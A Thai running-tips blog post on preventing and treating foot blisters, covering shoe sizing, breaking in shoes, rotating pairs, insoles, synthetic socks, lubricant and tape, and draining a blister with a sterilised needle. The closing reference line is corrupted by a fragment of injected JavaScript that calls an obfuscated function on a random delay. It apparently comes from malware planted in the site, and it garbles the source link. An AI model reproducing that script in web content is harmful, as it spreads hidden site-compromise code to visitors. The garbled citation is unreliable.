• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

วิธีป้องกันเท้าพอง (Blister) เเบบง่ายๆ สำหรับนักวิ่ง

kan by kan
29 June 2018
in Running Tips, Tips & Technics
0
วิธีป้องกันเท้าพอง (Blister) เเบบง่ายๆ สำหรับนักวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ศัตรูตัวร้ายอันดับหนึ่งของนักวิ่ง สามารถเกิดขึ้นได้ทุกที่ทุกสถานการณ์ “อาการแผลเท้าพอง” (Blister) เมื่อเกิดขึ้น จงลืมความสนุกสนานของการวิ่งไปได้เลย เพราะทุกสเต็ปจะเจ็บปวดรวดร้าวเป็นที่สุด

อาการเท้าพอง เกิดขึ้นได้อย่างไร…หลักการเกิดเท้าพองมีสาเหตุมาจากการเสียดสีกันระหว่างถุงเท้า ผนังรองเท้าด้านในและผิวหนังฝ่าเท้าของนักวิ่ง หากจะลงลึกไปอีก ปัจจัยน่าจะมากจาก ขนาดของรองเท้าที่ไม่พอดีไซด์ แผ่นรองด้านใน (Insole) ไม่ฟิตพอดีหรือเพราะการเลือกใช้วัสดุไม่เหมาะสม นอกจากนี้ก็จะเป็นเพราะประเภทเนื้อผ้าและรอยเย็บของถุงเท้า

หากเท้าเรามีการเสียดสี ถูไปมาในระยะเวลาที่นานมากกว่าปกติ แผลเท้าพองธรรมดาจะพัฒนาไปเป็น แผลเท้าพองที่มีเลือดออก (Blood blister) นักวิ่งทนความเจ็บไม่ไหวจนต้องถอนตัวจากการแข่งขัน

วิธีป้องกันเท้าพอง (Blister) เเบบง่ายๆ สำหรับนักวิ่ง

วิธีป้องกันเท้าพอง (Blister) เเบบง่ายๆ สำหรับนักวิ่ง

การป้องกันสามารถเริ่มได้จาก…

  1. การเลือกขนาดรองเท้าที่ฟิตพอดีเข้ากับฝ่าเท้านักวิ่ง คับไปก็จะทำให้เกิดเล็บดำหรือเล็บช้ำเพราะนิ้วเท้าชนผนังตลอดเวลาวิ่ง หากเหลือพื้นที่เยอะไป หรือหลวม เท้าก็จะมีพื้นที่ให้เคลื่อนไปมาเยอะ เกิดการเสียดสีทำให้มีเผลเท้าพอง ขอแนะนำเวลาเลือกไซด์รองเท้าให้เหลือบริเวณนิ้วเท้าข้างหน้าด้วย ประมาณ 1 นิ้วหัวแม่มือ
  2. นวดรองเท้าก่อนวิ่งจริง เวลาซื้อรองเท้ามาใหม่ๆ รองเท้าจะแข็งตัว ยังไม่สามารถให้ความยืดหยุ่นได้ทันที ควรใส่เดินไปมาสักพักใหญ่ๆ ให้ Break-in หรือหากจะใส่วิ่งก็ควรเป็นการวิ่งระยะสั้นๆ เบาๆ และหากรู้สึกว่ามีการเสียดสีให้หยุดเดินและถอดเปลี่ยนไว้ก่อน
  3. ผลัดเปลี่ยนรองเท้าบ้าง นักวิ่งไม่ควรมีรองเท้าวิ่งคู่เดียว เพราะผิวสัมผัสของรองเท้าแต่ละคู่ต่างกัน การใส่คู่เดิม ซ้ำๆ ผิวหนังจะสัมผัสแต่จุดเดิมๆ กล้ามเนื้อทำชุดเดิมงานซ้ำๆ ไม่มีเวลาพักฟื้น การมีคู่ใหม่เปลี่ยนจะได้เปลี่ยนให้ผิวหนังและกล้ามเนื้อตรงอื่นได้ทำงานและให้ที่เดิมได้พักฟื้น
  4. ถ้ารู้สึกว่าแผ่นรองเท้าด้านในไม่ดี รู้สึกว่าแข็งกระด่าง ขนาดไม่พอดีกับฝ่าเท้าก็ให้ทำการเปลี่ยนได้เลย
  5. ถุงเท้าเลือกแบบสำหรับนักวิ่งไปเลย ถ้าหากเราต้องออกวิ่งเป็นประจำ ถุงเท้าวิ่ง เป็นตัวเลือกอันดับแรก มากกว่าถุงเท้าใส่ทำงานธรรมดา เลือกเนื้อผ้าใยสังเคราะห์ เพราะจะมีความมันลื่นไม่เสียดสีกับผิวหนัง พยายามเลี่ยงถุงเท้าที่ทำจาก cotton 100% เพราะเวลาเปียกเหงื่อจะอมน้ำ แห้งยากและสามารถเกิดการเสียดสีได้สูงมาก
  6. สำหรับใครที่ไม่ชอบใส่ถุงเท้าวิ่ง เราก็แนะนำให้ลองเลือกรองเท้าวิ่งแบบไตรกีฬาดู เพราะบุภายในจะออกแบบมาอ่อนนุ่มกว่ารองเท้าวิ่งปกติ

เทคนิคป้องกันแผลเท้าพองอื่นๆ ได้แก่ การทาวาสลีนตามงามนิ้วเท้าหรือบริเวณที่มักเกิดการเสียดสีของเรา หรือจะใช้เทปพันตามนิ้วเท้าก็ได้ สำหรับใครที่เกิดแผลเท้าพองเรียบร้อย ให้ล้างเท้าให้สะอาด ใช้เข็มที่ฆ่าเชื้อเจาะเอาน้ำออก ใส่ยาและใช้ผ้าพันแผลปิดไว้ ทำความสะอาดอยู่ต่อเนื่องเพื่อต้องกันการติดเชื้อ

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-treat-blisters/”>www.runtastic.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.